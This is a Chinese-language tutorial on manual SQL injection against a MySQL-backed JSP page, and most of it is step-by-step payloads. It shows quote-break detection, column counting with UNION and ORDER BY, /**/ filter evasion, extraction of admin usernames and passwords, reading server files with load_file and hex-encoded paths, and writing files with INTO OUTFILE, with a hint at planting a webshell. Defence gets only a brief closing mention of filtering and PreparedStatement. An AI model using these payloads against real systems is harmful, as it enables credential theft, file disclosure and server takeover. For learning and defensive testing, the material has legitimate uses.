一些常用的sql注入語句。下面我將介紹如何使用手工注入MYSQL,MSSQL數(shù)據(jù)庫.
一般漏洞產(chǎn)生的原因 : 程序執(zhí)行中未對敏感字符進(jìn)行過濾,使得攻擊者傳入惡意字符串與結(jié)構(gòu)化數(shù)據(jù)查詢語句合并,并且執(zhí)行惡意代碼.
創(chuàng)建text數(shù)據(jù)表MYSQL代碼:


2.漏洞的利用
這個(gè)就是數(shù)據(jù)庫里的記錄了.以后黃色為關(guān)鍵語句,紅色為輸入的部分.
大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");
這里的request.getParameter("id") 是獲取GET傳參的id 參數(shù),也就是mysqlInject.jsp?id=1 這里的id. 這樣這個(gè)SQL語句就變成了select * from account where accountId =
'1' 了.如果加以變換呢?
2.1漏洞的檢測
我們把id 寫成mysqlInject.jsp?id=1' 那么SQL 語句就變成select * from account where accountId = '1'' 了,這樣的話SQL語句就會報(bào)錯(cuò),因?yàn)镾QL語句的值是需要2個(gè)包含
符號,比如’和”如果只是數(shù)字可以什么都不寫.如果不報(bào)錯(cuò)的話就說明程序替換,過濾或者其他方法來防護(hù)了.那么我們可以繼續(xù)來測驗(yàn), mysqlInject.jsp?id=1' and ''=' 那么
SQL語句就變成了select * from account where accountId = '1' and '' = '' ,應(yīng)該返回正常.有些人說我的為什么返回不正常呢? 有2種原因,第一是程序把惡意字符過濾了;第
二是程序的語句和我寫的不一樣select * from account where accountId = 1' and ''='. 這個(gè)問題在下邊會談到.
2.2 Union查詢猜此次查詢列的數(shù)量
這里有的人會說猜此次查詢列的數(shù)量有什么用?如果只是檢測當(dāng)然沒有,但是你想進(jìn)一步的利用那么就有大的用處了,文章后邊會講到的,耐心.如果懂SQL的人應(yīng)該知道UNION查詢
吧?UNION查詢就是聯(lián)合查詢,執(zhí)行第二條查詢語句將返回值和本次查詢合并.
大家想想,如果要和本次查詢值合并需要一個(gè)什么條件呢？需要聯(lián)合查詢的列數(shù)和此次查詢的列數(shù)相等.如果不想等的話就會無法合并,那么就會報(bào)錯(cuò).通過這一特點(diǎn)聰明的你應(yīng)
該會想出這么才列數(shù)了吧?
那么我們要的就是使得UNION查詢出來的列數(shù)與本次查詢出來的列數(shù)相等.也就是說不報(bào)錯(cuò)就會相等.
先從第一列開始猜,那么要把這個(gè)語句union select 1構(gòu)造在地址程序的語句當(dāng)中.那么語句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 這樣的.有些人問為什么后
邊(綠色的部分)要加上and ''=' 呢? 也許大家記了吧,我們的SQL語句是需要兩個(gè)包含符號的,語句select * from account where accountId = '1' 我們輸入的是在1那個(gè)位置,所
以要去除后邊的',否則語句會報(bào)錯(cuò)的.在本程序里也就是' 如果你要想消除' 有很多辦法,為了讓大家明白所以我現(xiàn)在使用and ''='.先說一說有幾種辦法消除這個(gè)'
1. 使用 and '' = ' 雖然不夠方便,但是在復(fù)雜SQL語句里不會報(bào)錯(cuò)的.
2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個(gè)大問題,就是在執(zhí)行復(fù)雜SQL語句的時(shí)候有可能會報(bào)錯(cuò).
有些人測試,咦?為什么我加了#還是會報(bào)錯(cuò)呢?因?yàn)楸敬问鞘褂肎ET傳參,在地址欄傳參.大家想想,當(dāng)初下載帶#名稱的數(shù)據(jù)庫是什么樣子呢?哦,對了,#是地址欄的結(jié)束符,就是說#
包括#以后的字符全部不傳入.所以#在GET模式下注入注入不起作用.
那么有些工具寫的在構(gòu)造注射的時(shí)候?yàn)槭裁词莔ysqlInject.jsp?id=1'/**/and/**/union/**/select/**/1/**/and/**/''/**/= /**/'/* 呢? 因?yàn)樵诔绦蚶镞呌泻瘮?shù)可以把傳入
參數(shù)里面的空格去除,如果去除了空格,將會是程序產(chǎn)生了錯(cuò)誤的語句,那么就會一直報(bào)錯(cuò)了.所以有些工具就是用/**/這種東西來取代空格了.那 /**/ 又是什么呢? /**/ 是一種注
釋,叫做文檔注釋,就是從/* 開始直到*/ 結(jié)束,中間任何代碼都會成為注釋,所以是程序員在寫大量注釋時(shí)候所使用的一種注釋.那最后的/* 是什么呢? 那個(gè)是用來解決 SQL語句 包
含符號沒有成雙成對的.
我們開始測試.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*
select * from account where accountId = '1 '/**/union/**/select/**/1/*'.
注意到最低下那句話了嗎?
javax.servlet.ServletException: The used SELECT statements have a different number of columns大概意思是”這個(gè)使用的查詢列數(shù)不同”,由此得出此次查詢不是查詢了
一個(gè)表.以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現(xiàn)在說寫的列數(shù)也就是本次查詢的列數(shù)了.大家看到地下返回 1|2|3| ,這個(gè)值是從咱們的UNION
查詢里合并出來的. 試試把UNION SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?
有人說 你都是騙人的 我怎么換,我都換到789了也沒有出來,還是現(xiàn)實(shí)原來的數(shù)據(jù),你騙人;我沒有騙人,我也不會騙人;那為什么出不來?
有些程序?qū)懙臅r(shí)候只是把數(shù)據(jù)返回集合的第一行輸出,但是UNION查詢以后是把數(shù)據(jù)合并到此次查詢以后,那么他只輸出了此次查詢的數(shù)據(jù),其實(shí)UNION查詢的數(shù)據(jù)也有,但是他沒有輸
出.那怎么辦呢?聰明的人一定會想到. 啊,原來如此,只要讓此次查詢不輸出就可以了.哈哈哈,我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個(gè)簡單的方法,看看SQL語句,
我們是做過限制條件的. Where accountid = ? ,那么也就是說讓這個(gè)accoundId 限制到一個(gè)沒有的id 上那么不就會沒有了? 心動不如行動,試試.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*
哈哈,果然沒有了!!! 注意綠色的部分,指定查詢一個(gè)沒有的id ,那么他理所當(dāng)然的就會蒸發(fā)了.
2.3 低幾率另類猜此次查詢列的數(shù)量
此方法雖然幾率低一點(diǎn),但是會大大減少工作量的.次方法只適用于 select * 的簡易SQL語句.
這個(gè)方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來.我們來寫一條SQL語句. Select * from account where accountId = '1' order by accountId 那么這個(gè)
SQL語句也就是根據(jù) accountId 升序排序. 那么我們不知道他有什么怎么辦,而且這怎么猜? 這里是關(guān)鍵問題. MYSQL支持列編號排序Select * from account where accountId =
'1' order by 1 這樣也就是按照第一列排序.
哎呀,你又在騙我們,排序怎么猜列的數(shù)量? 那么我按照一個(gè)不存在的列排序呢? 比如第四列? 你一般身上有3個(gè)口袋,一個(gè)最多10元錢,一天吃一頓,一頓3斤米,一斤米一元,但是你今
天吃了4斤米,需要40元,你卻只有3個(gè)口袋,你就沒有40元,你就要挨打了.
也就是說一共有3個(gè)列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,沒有第4列,出錯(cuò).那么也就說明他有4列.
這種方法是根據(jù)人的經(jīng)驗(yàn)判斷的.我一般使用這個(gè)方法都會成功,就是不成功也相差不多.
2.4 使用UNION猜其他表,查詢其他表
使用此方法可以查詢到其他表里的內(nèi)容.比如查詢管理員的密碼等.但是有個(gè)前題,必須道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因?yàn)镸YSQL 和SQLSERVER 的系統(tǒng)函數(shù)不一
樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒有,所以只能猜了.
好,開始構(gòu)造語句. 我們要猜看看有沒有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'
如果正常的有admin表的話,那么返回是正常的,如果沒有的話會報(bào)錯(cuò)的.大家看到了吧? 有admin 這個(gè)表,為了讓大家更好的理解,我們在猜一個(gè)其他不存在的表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'
看到了吧?沒有 helloworld 這個(gè)表.所以報(bào)錯(cuò)了.
又問,為什么還是會寫4,5,6呢? 啊哈,因?yàn)槲覀儾恢浪牧忻?如果寫了 * 他將會全部列出來,如果和此次查詢的列不相等,那么就會報(bào)錯(cuò)了.所以要寫一個(gè)相等的.
現(xiàn)在表名出來了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6其中一個(gè)替換成列名不久行了? 那么構(gòu)造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'
看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來,然后帶入U(xiǎn)NION查詢中,這樣就查出來管理員帳號或者密碼了.現(xiàn)在我要把列名一次全部
帶入.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'
出來了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查詢上限制條件,比如你知道有admin這個(gè)用戶那么就構(gòu)造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看個(gè)人的
發(fā)揮了.
使用MYSQL 系統(tǒng)函數(shù).
使用 load_file() 函數(shù) 顯示文件.
顧名思義.就是加載文件,可不是運(yùn)行啊,是顯示內(nèi)容,但是必須對文件擁有讀取權(quán)限.我們先來構(gòu)造一個(gè)顯示 c:\boot.ini 文件的語句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'
看到了嗎? C:\boot.ini 文件的內(nèi)容. 又問,為什么load_file() 里面是亂碼呢? 那不是亂碼,那個(gè)是C:\boot.ini 16進(jìn)制編碼. 因?yàn)楸竞瘮?shù)無法處理直接寫的路徑,只能能使用
16進(jìn)制或者是 Ascii 編碼.所以要將路徑轉(zhuǎn)換成 16進(jìn)制或者是Ascii 編碼才可以執(zhí)行.
為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因?yàn)榘?第一列不行,其他的都可以,第一列是一個(gè) INT類型,一個(gè)數(shù)字類型,難道你會把你女朋友送
進(jìn)男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來列目錄 ,但是必須有列目錄的權(quán)限.
通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時(shí)候也許會遇到亂碼的問題. 這個(gè)問題可以這么解決. 使用 subString 函數(shù), subString(字符串,開始,返回).
假設(shè)我們要返回第三個(gè)字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 這樣我們就返回了第三
個(gè)字符,用于解決亂碼是非常好的辦法.
使用outfile 寫WEBSHELL.
mysql 有一個(gè)功能,就是把查詢的結(jié)果輸出.就是outfile.先來構(gòu)造一個(gè)簡單的語句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
那么在網(wǎng)站也來構(gòu)造一下.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/’c:\\hello.txt’/*'
成功插入.但是為什么會報(bào)錯(cuò)呢?哦,那是因?yàn)槟惆褦?shù)據(jù)寫到文件中,返回集合什么都沒有了,當(dāng)然會報(bào)錯(cuò)了.如果你把hello 換成 一句話或者其他的,如果寫入到網(wǎng)站目錄下,那是
多么恐怖啊…
2.漏洞的防護(hù)和總結(jié)
通過過濾特殊關(guān)鍵字來防護(hù).代碼網(wǎng)站很多,我這里就不寫了.
針對JAVA有一種防護(hù)措施,就是使用PreparedStatement 對象進(jìn)行查詢,這里也不多說了. 本文只是一個(gè)概括的講述,如果應(yīng)用到實(shí)戰(zhàn)當(dāng)中需要結(jié)合經(jīng)驗(yàn).